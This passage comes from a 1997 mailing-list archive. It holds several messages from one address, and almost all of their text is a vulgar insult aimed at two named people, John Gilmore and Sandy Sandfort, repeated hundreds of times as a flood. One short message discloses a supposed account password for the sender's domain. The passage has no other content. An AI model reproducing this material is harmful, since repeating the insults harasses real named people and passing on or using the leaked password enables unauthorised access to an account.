Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:36:41 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:36:41 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771003.521829.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:38:57 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:38:57 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771176.523341.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) The password for acct fatmans.demon.co.uk is neur0mancer. From paul at fatmans.demon.co.uk Wed Feb 12 10:39:05 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:39:05 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771134.522952.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:39:48 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:39:48 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771054.522272.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:39:48 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:39:48 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771138.522983.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:40:07 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:40:07 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771035.522141.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:40:07 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:40:07 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771049.522251.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:40:39 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:40:39 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855770879.520800.0@fatmans.demon.co.uk> John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a 